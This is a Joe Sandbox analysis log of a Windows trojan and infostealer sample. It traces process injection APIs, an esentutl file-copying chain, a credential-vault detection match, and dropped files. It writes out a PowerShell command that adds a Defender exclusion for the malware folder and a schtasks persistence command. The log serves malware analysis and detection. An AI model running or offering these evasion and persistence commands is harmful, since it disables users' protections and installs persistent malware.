Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D88400 NtReadVirtualMemory,	27_2_02D88400
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D87A2C NtAllocateVirtualMemory,	27_2_02D87A2C
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D87D78 NtWriteVirtualMemory,	27_2_02D87D78
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D88D70 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	27_2_02D88D70
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D8DD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	27_2_02D8DD70
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D886F7 NtUnmapViewOfSection,	27_2_02D886F7
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D87AC9 NtAllocateVirtualMemory,	27_2_02D87AC9
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D87A2A NtAllocateVirtualMemory,	27_2_02D87A2A
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D8DBB0 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	27_2_02D8DBB0
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D8DC8C RtlDosPathNameToNtPathName_U,NtWriteFile,NtClose,	27_2_02D8DC8C
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D8DC04 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	27_2_02D8DC04
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D88D6E GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	27_2_02D88D6E

Source: C:\Users\user\Desktop\x.exe

Code function: 0_2_02EDF7C8 InetIsOffline,CoInitialize,CoUninitialize,CreateProcessAsUserW,ResumeThread,CloseHandle,CloseHandle,ExitProcess,

0_2_02EDF7C8

Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EC20C4	0_2_02EC20C4
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_100400D9	8_1_100400D9
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_1004515C	8_1_1004515C
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_10035980	8_1_10035980
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_10006EAF	8_1_10006EAF
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_100439A3	8_1_100439A3
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_100051EE	8_1_100051EE
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_10007B71	8_1_10007B71
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_1003D580	8_1_1003D580
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_10007F80	8_1_10007F80
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_10033780	8_1_10033780
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_1003C7F0	8_1_1003C7F0
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_02A0EA80	9_2_02A0EA80
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_02A04A98	9_2_02A04A98
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_02A0AA48	9_2_02A0AA48
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_02A03E80	9_2_02A03E80
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_02A0DE38	9_2_02A0DE38
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_02A0DE38	9_2_02A0DE38
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_02A041C8	9_2_02A041C8
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_068756B8	9_2_068756B8
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_068766E8	9_2_068766E8
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_06877E78	9_2_06877E78
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_0687C2A0	9_2_0687C2A0
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_0687B338	9_2_0687B338
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_06872360	9_2_06872360
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_06877798	9_2_06877798
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_0687E4C0	9_2_0687E4C0
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_06875DF0	9_2_06875DF0
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_06870040	9_2_06870040
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 9_2_06870025	9_2_06870025
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Code function: 10_2_013B85B7	10_2_013B85B7
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Code function: 10_2_013B85C8	10_2_013B85C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_040EB490	11_2_040EB490
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Code function: 16_2_0549DAAC	16_2_0549DAAC
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Code function: 16_2_054925A8	16_2_054925A8
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Code function: 16_2_054925B8	16_2_054925B8
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Code function: 16_2_0549E620	16_2_0549E620
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Code function: 16_2_05491D20	16_2_05491D20
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Code function: 16_2_05EA3360	16_2_05EA3360
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 22_2_02CA20C4	22_2_02CA20C4
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_00D74A98	25_2_00D74A98
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_00D7EA80	25_2_00D7EA80
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_00D73E80	25_2_00D73E80
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_00D7DE38	25_2_00D7DE38
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_00D741C8	25_2_00D741C8
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_00D7DE38	25_2_00D7DE38
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_00D7A988	25_2_00D7A988
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_066B66E8	25_2_066B66E8
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_066B56B8	25_2_066B56B8
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_066BC2A0	25_2_066BC2A0
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_066BB32B	25_2_066BB32B
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_066B3178	25_2_066B3178
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_066B7E78	25_2_066B7E78
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_066B7798	25_2_066B7798
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_066BE4C0	25_2_066BE4C0
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_066B2350	25_2_066B2350
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_066B0040	25_2_066B0040
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_066B5DDF	25_2_066B5DDF
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_066B0038	25_2_066B0038
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 25_2_066B0006	25_2_066B0006
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D720C4	27_2_02D720C4
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_030A41C8	29_2_030A41C8
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_030AAA43	29_2_030AAA43
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_030AEA80	29_2_030AEA80
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_030A4A98	29_2_030A4A98
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_030A3E80	29_2_030A3E80
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_06F066E8	29_2_06F066E8
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_06F0C2A0	29_2_06F0C2A0
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_06F07E78	29_2_06F07E78
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_06F0B335	29_2_06F0B335
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_06F058B5	29_2_06F058B5
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_06F03178	29_2_06F03178
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_06F07798	29_2_06F07798
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_06F02350	29_2_06F02350
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_06F00040	29_2_06F00040
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_06F05DDF	29_2_06F05DDF
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Code function: 29_2_06F00006	29_2_06F00006

Source: Joe Sandbox View	Dropped File: C:\Users\Public\Libraries\Wisrysxl.PIF F711703C8BA66DCEDB8E4B83F21A0425C528E278242C852FD5CF54BB43E30454
Source: Joe Sandbox View	Dropped File: C:\Users\Public\Libraries\lxsyrsiW.pif 7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301

Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: String function: 02D8894C appears 50 times
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: String function: 02CA4860 appears 683 times
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: String function: 02CA46D4 appears 155 times
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: String function: 02D746D4 appears 155 times
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: String function: 02D74860 appears 683 times
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: String function: 02CB894C appears 50 times
Source: C:\Users\user\Desktop\x.exe	Code function: String function: 02ED89D0 appears 45 times
Source: C:\Users\user\Desktop\x.exe	Code function: String function: 02EC46D4 appears 244 times
Source: C:\Users\user\Desktop\x.exe	Code function: String function: 02ED894C appears 56 times
Source: C:\Users\user\Desktop\x.exe	Code function: String function: 02EC44DC appears 74 times
Source: C:\Users\user\Desktop\x.exe	Code function: String function: 02EC4500 appears 33 times
Source: C:\Users\user\Desktop\x.exe	Code function: String function: 02EC4860 appears 949 times

Source: x.exe	Binary or memory string: OriginalFilename vs x.exe
Source: x.exe, 00000000.00000002.2243776904.0000000021E70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs x.exe
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs x.exe
Source: x.exe, 00000000.00000002.2233962338.0000000020C24000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe
Source: x.exe, 00000000.00000002.2233962338.0000000020C24000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs x.exe
Source: x.exe, 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe
Source: x.exe, 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs x.exe
Source: x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe
Source: x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs x.exe
Source: x.exe, 00000000.00000003.2170510348.0000000021EB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe
Source: x.exe, 00000000.00000002.2244527855.000000002206F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs x.exe
Source: x.exe, 00000000.00000003.2180899022.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs x.exe
Source: x.exe, 00000000.00000002.2233962338.0000000020BA3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs x.exe
Source: x.exe, 00000000.00000002.2233962338.0000000020BA3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe
Source: x.exe, 00000000.00000003.2111562829.000000007FAD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe
Source: x.exe, 00000000.00000003.2111562829.000000007FAD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs x.exe
Source: x.exe, 00000000.00000002.2200179187.0000000002E46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe
Source: x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe
Source: x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs x.exe
Source: x.exe, 00000000.00000003.2111145235.0000000002C0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe
Source: x.exe, 00000000.00000003.2111145235.0000000002C11000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs x.exe
Source: x.exe, 00000000.00000002.2200179187.0000000002E4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs x.exe
Source: x.exe, 00000000.00000003.2110299253.000000007FCE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe
Source: x.exe, 00000000.00000002.2233962338.0000000020C79000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe
Source: x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe
Source: x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs x.exe
Source: x.exe, 00000000.00000002.2262163417.000000007FC4F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs x.exe
Source: x.exe, 00000000.00000003.2170510348.0000000021EE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs x.exe

Source: x.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 9.0.neworigin.exe.840000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: armsvc.exe.8.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: armsvc.exe.8.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: neworigin.exe.8.dr, cPs8D.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: neworigin.exe.8.dr, 72CF8egH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: neworigin.exe.8.dr, G5CXsdn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: neworigin.exe.8.dr, 3uPsILA6U.cs	Cryptographic APIs: 'CreateDecryptor'
Source: neworigin.exe.8.dr, 6oQOw74dfIt.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: neworigin.exe.8.dr, aMIWm.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: neworigin.exe.8.dr, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: neworigin.exe.8.dr, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@47/24@4/3

Source: C:\Users\user\Desktop\x.exe

Code function: 0_2_02EC7FD4 GetDiskFreeSpaceA,

0_2_02EC7FD4

Source: C:\Users\user\Desktop\x.exe

Code function: 0_2_02ED6DC8 CoCreateInstance,

0_2_02ED6DC8

Source: C:\Users\Public\Libraries\lxsyrsiW.pif

Code function: 8_1_1002CBD0 StrStrIW,CloseHandle,StrStrIW,CloseServiceHandle,OpenServiceW,StrStrIW,_wcslen,ChangeServiceConfigW,StrStrIW,StrStrIW,CloseServiceHandle,CloseHandle,StartServiceW,

8_1_1002CBD0

Source: C:\Users\user\Desktop\x.exe

File created: C:\Users\Public\Libraries\PNO

Jump to behavior

Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:516:120:WilError_03
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Mutant created: \Sessions\1\BaseNamedObjects\kbedaSzAAOYDRDgN
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:828:120:WilError_03
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-659475502e6d002ef280244-b
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4208:120:WilError_03
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-659475502e6d002-inf
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5632:120:WilError_03

Source: C:\Users\Public\Libraries\lxsyrsiW.pif

File created: C:\Users\user\AppData\Local\Temp\neworigin.exe

Jump to behavior

Source: C:\Users\user\Desktop\x.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\Public\Libraries\lxsyrsiW.pif

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\x.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\x.exe

File read: C:\Users\user\Desktop\x.exe

Jump to behavior

Source: C:\Users\Public\Libraries\lxsyrsiW.pif

Evasive API call chain: __getmainargs,DecisionNodes,exit

graph_8-9141

Source: unknown	Process created: C:\Users\user\Desktop\x.exe "C:\Users\user\Desktop\x.exe"
Source: C:\Users\user\Desktop\x.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\lxsyrsiW.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Source: C:\Users\user\Desktop\x.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\x.exe /d C:\\Users\\Public\\Libraries\\Wisrysxl.PIF /o
Source: C:\Windows\SysWOW64\esentutl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\x.exe	Process created: C:\Users\Public\Libraries\lxsyrsiW.pif C:\Users\Public\Libraries\lxsyrsiW.pif
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\neworigin.exe "C:\Users\user\AppData\Local\Temp\neworigin.exe"
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\server_BTC.exe "C:\Users\user\AppData\Local\Temp\server_BTC.exe"
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe" /st 10:00 /du 23:59 /sc daily /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe"
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpFB9.tmp.cmd""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Users\Public\Libraries\Wisrysxl.PIF "C:\Users\Public\Libraries\Wisrysxl.PIF"
Source: C:\Windows\SysWOW64\esentutl.exe	Process created: C:\Users\Public\Libraries\lxsyrsiW.pif C:\Users\Public\Libraries\lxsyrsiW.pif
Source: C:\Windows\System32\conhost.exe	Process created: C:\Users\user\AppData\Local\Temp\neworigin.exe "C:\Users\user\AppData\Local\Temp\neworigin.exe"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Users\user\AppData\Local\Temp\server_BTC.exe "C:\Users\user\AppData\Local\Temp\server_BTC.exe"
Source: unknown	Process created: C:\Users\Public\Libraries\Wisrysxl.PIF "C:\Users\Public\Libraries\Wisrysxl.PIF"
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Process created: C:\Users\Public\Libraries\lxsyrsiW.pif C:\Users\Public\Libraries\lxsyrsiW.pif
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\neworigin.exe "C:\Users\user\AppData\Local\Temp\neworigin.exe"
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\server_BTC.exe "C:\Users\user\AppData\Local\Temp\server_BTC.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe"
Source: C:\Users\user\Desktop\x.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\lxsyrsiW.cmd" "	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\x.exe /d C:\\Users\\Public\\Libraries\\Wisrysxl.PIF /o	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Process created: C:\Users\Public\Libraries\lxsyrsiW.pif C:\Users\Public\Libraries\lxsyrsiW.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\neworigin.exe "C:\Users\user\AppData\Local\Temp\neworigin.exe"	Jump to behavior
